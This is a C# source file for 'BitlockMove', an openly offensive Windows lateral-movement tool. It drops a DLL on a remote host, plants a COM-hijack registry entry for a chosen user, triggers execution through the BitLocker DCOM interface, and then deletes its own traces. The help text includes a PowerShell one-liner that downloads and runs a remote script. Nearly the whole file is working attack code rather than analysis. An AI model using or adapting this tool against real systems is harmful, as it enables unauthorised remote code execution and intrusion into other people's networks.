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Copy pathProgram.cs
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418 lines (353 loc) · 15.5 KB
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using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Threading;
namespace BitlockMove
{
static class Program
{
static void DisplayHelp()
{
Console.WriteLine("\nUsage:");
Console.WriteLine(" Enumeration: <Program> mode=enum target=<ip>");
Console.WriteLine(" Attack: <Program> mode=attack target=<ip> dllpath=<dllpath> targetuser=<targetuser> command=<command>");
Console.WriteLine("\nExample:");
Console.WriteLine(" <Program> mode=enum target=192.168.1.100");
Console.WriteLine(@" <Program> mode=attack target=192.168.1.100 dllpath=C:\windows\temp\evil.dll targetuser=domadm command=powershell.exe iex(new-object net.webclient).downloadstring('https://url.com/script.ps1')");
}
static void Main(string[] args)
{
Console.WriteLine(@"
______ _ _ _ _ ___ ___
| ___ (_) | | | | | | \/ |
| |_/ /_| |_| | ___ ___| | _| . . | _____ _____
| ___ \ | __| |/ _ \ / __| |/ / |\/| |/ _ \ \ / / _ \
| |_/ / | |_| | (_) | (__| <| | | | (_) \ V / __/
\____/|_|\__|_|\___/ \___|_|\_\_| |_/\___/ \_/ \___|
Lateral Movement via Bitlocker DCOM interface & COM Hijacking
by @ShitSecure
");
string targetIP = null;
/*string username = null; custom user for execution removed for reasons
string password = null;
string domain = null;*/
string dllPath = null;
string targetUser = null;
string command = null;
string mode = "attack"; // Default mode
// Parse named arguments
foreach (string arg in args)
{
if (arg.StartsWith("mode=", StringComparison.OrdinalIgnoreCase))
{
mode = arg.Substring(5).ToLower();
}
else if (arg.StartsWith("target=", StringComparison.OrdinalIgnoreCase))
{
targetIP = arg.Substring(7);
}
else if (arg.StartsWith("dllpath=", StringComparison.OrdinalIgnoreCase))
{
dllPath = arg.Substring(8);
}
else if (arg.StartsWith("targetuser=", StringComparison.OrdinalIgnoreCase))
{
targetUser = arg.Substring(11);
}
else if (arg.StartsWith("command=", StringComparison.OrdinalIgnoreCase))
{
command = arg.Substring(8);
}
}
// Display help if no arguments or missing required parameters
if (args.Length == 0 || targetIP == null)
{
DisplayHelp();
return;
}
// Execute based on mode
switch (mode)
{
case "enum":
Console.WriteLine($"[+] Enumerating sessions on {targetIP}...");
BitlockMove.SessionEnum.enumerate(targetIP);
break;
case "attack":
if (dllPath == null || targetUser == null || command == null)
{
Console.WriteLine("[!] Error: Attack mode requires dllpath and targetuser as well as command parameters");
DisplayHelp();
return;
}
if (FileDrop.DropIt(targetIP, dllPath, command))
{
Console.WriteLine($"[+] DLL dropped successfully!");
}
else
{
Console.WriteLine($"[-] DLL dropping failed!");
return;
}
Console.WriteLine($"[+] Attempting COM hijack on {targetIP} for user {targetUser}");
RemoteRegistry.WriteRegistryEntryForUser(targetIP, targetUser, dllPath);
if (RemoteRegistry.VerifyRegistryEntry(targetIP, targetUser, dllPath))
{
Console.WriteLine("[+] Target user COM Hijack is set!");
Server.Execute(targetIP, "somearguments as", "", "", "");
Thread.Sleep(5000);
// cleanup everything
RemoteRegistry.DeleteRegistryEntry(targetIP, targetUser);
if (!RemoteRegistry.VerifyRegistryEntry(targetIP, targetUser, dllPath))
{
Console.WriteLine("[+] Target user COM Hijack is removed!");
}
RemoteRegistry.DisableRemoteRegistryViaWMI(targetIP);
FileDrop.RemoveFile(targetIP, dllPath);
}
break;
default:
Console.WriteLine($"[!] Unknown mode: {mode}");
DisplayHelp();
break;
}
// Ensure that if username, password, and domain are provided, they are valid
/*if (username != null && password != null && domain != null)
{
Server.Execute(targetIP, null, username, password, domain);
}*/
}
}
static class Server
{
[ComImport]
[TypeLibType(TypeLibTypeFlags.FDual | TypeLibTypeFlags.FNonExtensible | TypeLibTypeFlags.FDispatchable)]
[Guid("8961F0A0-FF62-403B-91B4-7B9280241CEB")]
public interface IBDEUILauncher
{
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
[DispId(1)]
int BdeUIProcessStart([In] int enumBitlockMoveApp, [In] int enumProcStartMode, [In][MarshalAs(UnmanagedType.BStr)] string bstrStartParam);
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
[DispId(2)]
void BdeUIContextTrigger([In] int enumBdeSvcApi, [In][MarshalAs(UnmanagedType.BStr)] string bstrBdeSvcApiParam, [In] bool bSynchronous);
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
[DispId(3)]
long GetUserLogonTime();
}
[StructLayout(LayoutKind.Sequential)]
public struct COSERVERINFO
{
public uint dwReserved1;
[MarshalAs(UnmanagedType.LPWStr)]
public string pwszName;
public IntPtr pAuthInfo;
public uint dwReserved2;
}
[StructLayout(LayoutKind.Sequential)]
private struct COAUTHIDENTITY
{
[MarshalAs(UnmanagedType.LPWStr)]
public string User;
[MarshalAs(UnmanagedType.U4)]
public uint UserLength;
[MarshalAs(UnmanagedType.LPWStr)]
public string Domain;
[MarshalAs(UnmanagedType.U4)]
public uint DomainLength;
[MarshalAs(UnmanagedType.LPWStr)]
public string Password;
[MarshalAs(UnmanagedType.U4)]
public uint PasswordLength;
public uint Flags;
}
[StructLayout(LayoutKind.Sequential)]
public struct COAUTHINFO
{
public uint dwAuthnSvc;
public uint dwAuthzSvc;
public IntPtr pwszServerPrincName;
public uint dwAuthnLevel;
public uint dwImpersonationLevel;
public IntPtr pAuthIdentityData;
public uint dwCapabilities;
}
[Flags]
public enum CLSCTX : uint
{
REMOTE_SERVER = 0x10,
ENABLE_CLOAKING = 0x100000
}
public static IntPtr GuidToPointer(Guid g)
{
IntPtr ret = Marshal.AllocCoTaskMem(16);
Marshal.Copy(g.ToByteArray(), 0, ret, 16);
return ret;
}
[StructLayout(LayoutKind.Sequential)]
public struct OptionalGuid : IDisposable
{
private IntPtr pGuid;
void IDisposable.Dispose()
{
if (pGuid != IntPtr.Zero)
{
Marshal.FreeCoTaskMem(pGuid);
pGuid = IntPtr.Zero;
}
}
public OptionalGuid(Guid guid)
{
pGuid = Marshal.AllocCoTaskMem(16);
Marshal.Copy(guid.ToByteArray(), 0, pGuid, 16);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct MULTI_QI : IDisposable
{
private IntPtr pIID;
public IntPtr pItf;
public int hr;
void IDisposable.Dispose()
{
Marshal.FreeCoTaskMem(pIID);
if (pItf != IntPtr.Zero)
{
Marshal.Release(pItf);
pItf = IntPtr.Zero;
}
}
public MULTI_QI(Guid iid)
{
pIID = Marshal.AllocCoTaskMem(16);
Marshal.Copy(iid.ToByteArray(), 0, pIID, 16);
pItf = IntPtr.Zero;
hr = 0;
}
}
[DllImport("ole32.dll")]
private static extern int CoInitializeSecurity(
IntPtr pSecDesc,
int cAuthSvc,
IntPtr asAuthSvc,
IntPtr pReserved1,
int dwAuthnLevel,
int dwImpLevel,
IntPtr pAuthList,
int dwCapabilities,
IntPtr pReserved3);
[DllImport("ole32.dll")]
private static extern int CoCreateInstanceEx(in Guid rclsid, IntPtr punkOuter, CLSCTX dwClsCtx, IntPtr pServerInfo, int dwCount, [In, Out] MULTI_QI[] pResults);
[DllImport("ole32.Dll")]
public static extern uint CoCreateInstance(ref Guid clsid,
[MarshalAs(UnmanagedType.IUnknown)] object inner,
uint context,
ref Guid uuid,
[MarshalAs(UnmanagedType.IUnknown)] out object rReturnedComObject);
private const uint CLSCTX_REMOTE_SERVER = 0x10;
private const int RPC_C_AUTHN_LEVEL_PKT_PRIVACY = 6;
private const int RPC_C_IMP_LEVEL_IMPERSONATE = 3;
private const int RPC_C_AUTHN_WINNT = 10;
private const int RPC_C_AUTHZ_NONE = 0;
private const int EOAC_NONE = 0;
private const int SEC_WINNT_AUTH_IDENTITY_UNICODE = 2;
public static void InitAuthStructs(ref COAUTHINFO authInfo)
{
authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT;
authInfo.dwAuthzSvc = RPC_C_AUTHZ_NONE;
authInfo.pwszServerPrincName = IntPtr.Zero;
authInfo.dwAuthnLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY;
authInfo.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
authInfo.dwCapabilities = EOAC_NONE;
authInfo.pAuthIdentityData = IntPtr.Zero; // Use current user's credentials
}
public static Guid clsid = new Guid("ab93b6f1-be76-4185-a488-a9001b105b94");
public static IntPtr clsid_ptr = GuidToPointer(clsid);
public static void Execute(string targetIP, string path, string username, string password, string domain)
{
IntPtr pAuthIdentity = IntPtr.Zero;
IntPtr pAuthInfo = IntPtr.Zero;
IntPtr pIID = IntPtr.Zero;
IntPtr serverInfoPtr = IntPtr.Zero;
try
{
if (username == "")
{
COAUTHINFO authInfo = new COAUTHINFO();
InitAuthStructs(ref authInfo);
pAuthInfo = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(COAUTHINFO)));
Marshal.StructureToPtr(authInfo, pAuthInfo, false);
}
else
{
COAUTHIDENTITY authIdentity = new COAUTHIDENTITY
{
User = username,
Domain = domain,
Password = password,
UserLength = (uint)username.Length,
DomainLength = (uint)domain.Length,
PasswordLength = (uint)password.Length,
Flags = 2 // SEC_WINNT_AUTH_IDENTITY_UNICODE
};
// Allocate and marshal authentication identity
pAuthIdentity = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(COAUTHIDENTITY)));
Marshal.StructureToPtr(authIdentity, pAuthIdentity, false);
// Create authentication info
COAUTHINFO authInfo = new COAUTHINFO
{
dwAuthnSvc = RPC_C_AUTHN_WINNT,
dwAuthzSvc = RPC_C_AUTHZ_NONE,
pwszServerPrincName = IntPtr.Zero,
dwAuthnLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE,
pAuthIdentityData = pAuthIdentity,
dwCapabilities = EOAC_NONE
};
// Allocate and marshal authentication info
pAuthInfo = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(COAUTHINFO)));
Marshal.StructureToPtr(authInfo, pAuthInfo, false);
}
// Create server info
COSERVERINFO serverInfo = new COSERVERINFO
{
pwszName = targetIP,
pAuthInfo = pAuthInfo
};
// Allocate and marshal server info
serverInfoPtr = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(COSERVERINFO)));
Marshal.StructureToPtr(serverInfo, serverInfoPtr, false);
MULTI_QI[] qis = new MULTI_QI[1];
Guid iid = new Guid("8961F0A0-FF62-403B-91B4-7B9280241CEB");
IntPtr iid_ptr = GuidToPointer(iid);
qis[0] = new MULTI_QI(iid);
int hr = CoCreateInstanceEx(clsid, IntPtr.Zero, CLSCTX.REMOTE_SERVER, serverInfoPtr, 1, qis);
if (hr != 0)
{
Console.WriteLine($"[-] CoCreateInstanceEx failed with HRESULT: 0x{hr:X}");
throw new COMException("[-] CoCreateInstanceEx failed", hr);
}
else
{
Console.WriteLine("[+] CoCreateInstanceEx succeeded!");
}
if (qis[0].hr != 0)
{
throw new COMException("[-] Failed to retrieve interface", (int)qis[0].hr);
}
if (qis[0].pItf == IntPtr.Zero)
{
throw new Exception("[-] CoCreateInstanceEx returned a null interface pointer.");
}
IBDEUILauncher server = (IBDEUILauncher)Marshal.GetObjectForIUnknown(qis[0].pItf);
Console.WriteLine("[*] Calling BitlockMoveProcessStart on remote machine...");
int result = server.BdeUIProcessStart(4, 0, path);
Console.WriteLine($"[*] BdeUIProcessStart returned: {result}");
}
catch (Exception e)
{
Console.WriteLine("[-] Error while calling remote COM object:");
Console.WriteLine(e);
}
}
}
}
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